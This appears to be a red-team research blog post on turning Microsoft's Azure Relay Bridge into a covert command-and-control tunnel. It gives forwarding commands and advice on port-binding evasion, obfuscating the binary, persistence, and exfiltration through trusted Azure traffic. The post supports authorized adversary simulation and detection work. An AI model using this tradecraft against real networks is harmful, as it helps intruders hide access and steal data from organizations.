Microsoft's Azure Relay Bridge (azbridge) creates encrypted tunnels through Azure Service Bus infrastructure. Built for legitimate remote access scenarios, this open-source tool contains capabilities that transform it into sophisticated offensive infrastructure. This research demonstrates novel techniques for abusing azbridge to establish covert command and control channels that bypass enterprise security controls.
The Architecture of Abuse
Azure Relay Bridge operates through a deceptively simple mechanism. The tool establishes outbound TLS connections to *.servicebus.windows.net endpoints, then dynamically routes subsequent traffic through *.cloudapp.azure.com domains. These connections appear indistinguishable from legitimate Azure service traffic, because technically, they are.
The tool functions in two primary modes that create offensive opportunities:
Local Forwarder Mode binds to arbitrary ports on compromised hosts, establishing persistent outbound connections to Azure infrastructure. Command syntax:
azbridge.exe -L 127.0.0.1:7777:<relay_name> -e sb://<relay_name>.servicebus.windows.net -x "Endpoint=sb://<relay_name>.servicebus.windows.net/;SharedAccessKeyName=<KEY_NAME>;SharedAccessKey=<B64_ENCODED_KEY_VALUE>"Remote Forwarder Mode exposes services from attacker-controlled infrastructure through the relay:
azbridge -T <relay_name>:localhost:<local_port> -e sb://<relay_name>.servicebus.windows.net -x "Endpoint=..."
Port Binding Evasion Techniques
To use this tool while remaining operationally covert, we must blend into the target environment. Using 1337/TCP will raise the eyebrows of any threat hunter or incident responder worth their salt. An easy way to circumvent this is to bind azbridge to the same ports that legitimate services use, but on different network interfaces. TCP stacks across operating systems allow binding identical ports on different interfaces, a characteristic that as operators we should exploit with azbridge's local forwarder.
The technique:
- Enumerate existing services bound to localhost (127.0.0.1)
- Identify ports already permitted through host-based firewalls
- Bind azbridge to the same port on external interfaces
Example: Assume the target machine (10.10.0.99) you have compromised as part of your engagement has a service listening on localhost:8888. An effective strategy would be to instruct azbridge to bind to 10.10.0.99:8888, inheriting implicit firewall trust while avoiding detection through port-based monitoring (if the target network has this implemented).
Network Traffic Obfuscation
Traffic analysis of azbridge reveals opportunities for abuse:
- Initial connections use Server Name Indication (SNI) values matching
*.servicebus.windows.net - These Service Bus endpoints are CNAME records pointing to
*.eastus.cloudapp.azure.com, which resolve to Microsoft Azure IP addresses - Azure assigns regional subdomains based on the egress IP's geolocation, resulting in low latency
- All communications use TLSv1.2 encryption
- Traffic patterns match legitimate enterprise service communications
Wireshark captures show connections appearing as standard HTTPS (443) traffic to Microsoft cloud services. The relay encapsulates traffic at the application layer, making detection require deep packet inspection and TLS interception to discern whether the encrypted traffic is malicious.
Operational Advantages
This technique provides several tactical advantages over traditional C2 infrastructure.
The beauty of this technique is how it abuses trust. Microsoft's infrastructure gets a free pass through every security stack because blocking Azure Service Bus means breaking Event Hub, DevOps pipelines, and various enterprise services that rely on them. The SOC literally cannot block this without causing an outage. The endpoints are also dynamic. Each connection spins up a new *.cloudapp.azure.com subdomain, so your IOC list becomes useless the moment you write it.
The tool runs on Windows, Linux, macOS, and can install itself as a service for persistence. Though honestly, if you're trying to stay covert, skip the default service installation and implement custom persistence. The real standout feature is that it tunnels any TCP traffic you want. SSH sessions, RDP, custom implants, database connections, whatever. If it runs over TCP, azbridge will relay it through Microsoft's infrastructure.
Detection Engineering Challenges
Catching this in production would be a nightmare. It's open source so anyone can grab the code and modify it beyond recognition. ConfuserEx or any other .NET obfuscator turns it into a completely different binary in seconds. As with any other technique, this might be stealthy right now...but soon signatures and behavioral rules will start picking up on it. I recommend developing your own re-implementation and modifying how it behaves at every stage.
From a network perspective, good luck. These Azure connections happen thousands of times a day in any enterprise environment. You'd need to decrypt all TLS traffic, inspect the payloads, and somehow distinguish malicious relay traffic from legitimate Azure services. Good luck doing that at scale without melting your inspection appliances or breaking production services. Even if you try hunting for the binary itself or its config files, attackers can drop their own implementation anywhere on disk. The documented installation paths are just suggestions, nothing (beyond filesystem permissions of the user you have compromised) forces anyone to use them.
Mitigation Complexity
Blocking *.servicebus.windows.net and *.cloudapp.azure.com breaks Azure Service Bus, Event Hubs, Azure Relay (including App Service Hybrid Connections), On-Premises Data Gateway scenarios (Power BI/Power Apps/Power Automate/Logic Apps), Azure AD Pass-Through Authentication agents, Functions/Logic Apps triggers bound to Service Bus/Event Hubs, and any access to Azure VMs or Cloud Services via their default *.cloudapp.azure.com hostnames (RDP/SSH/app endpoints). Organizations face an impossible choice: accept the risk or break business operations.
Host-based controls restricting port binding require careful implementation to avoid disrupting legitimate administrative functions. Application allow-listing provides weak protection when adversaries can re-implement functionality or abuse policy exceptions.
Implications for Red Teams
This technique enables sophisticated adversary simulation:
- Establish persistent C2 channels from restricted network segments
- Exfiltrate data through trusted infrastructure
- Pivot between isolated networks without traditional VPN indicators
- Maintain access despite network re-configurations
The low barrier to implementation, requiring only SAS tokens and relay names, makes this accessible to moderately skilled operators while providing nation-state level evasion capabilities.
Takeaways
Azure Relay Bridge weaponizes Microsoft's own infrastructure against its customers. Their trusted Azure services carry your malicious traffic, and they can't tell the difference. The technique exploits fundamental trust relationships between enterprises and cloud providers, creating detection and mitigation challenges that current security architectures cannot adequately address.
Organizations should reassess their Azure service dependencies and implement compensating controls focused on behavioral analysis rather than traditional network indicators. The era of trusting traffic based on destination reputation has definitively ended.
This technique was discovered during authorized security research. It should only be implemented during sanctioned red team operations with explicit authorization. Know your local laws and obtain proper permissions before testing.
As of March 2025, no public threat intelligence reports document adversary use of azbridge, presenting an opportunity window for red teams to simulate advanced persistent threats before widespread adoption occurs.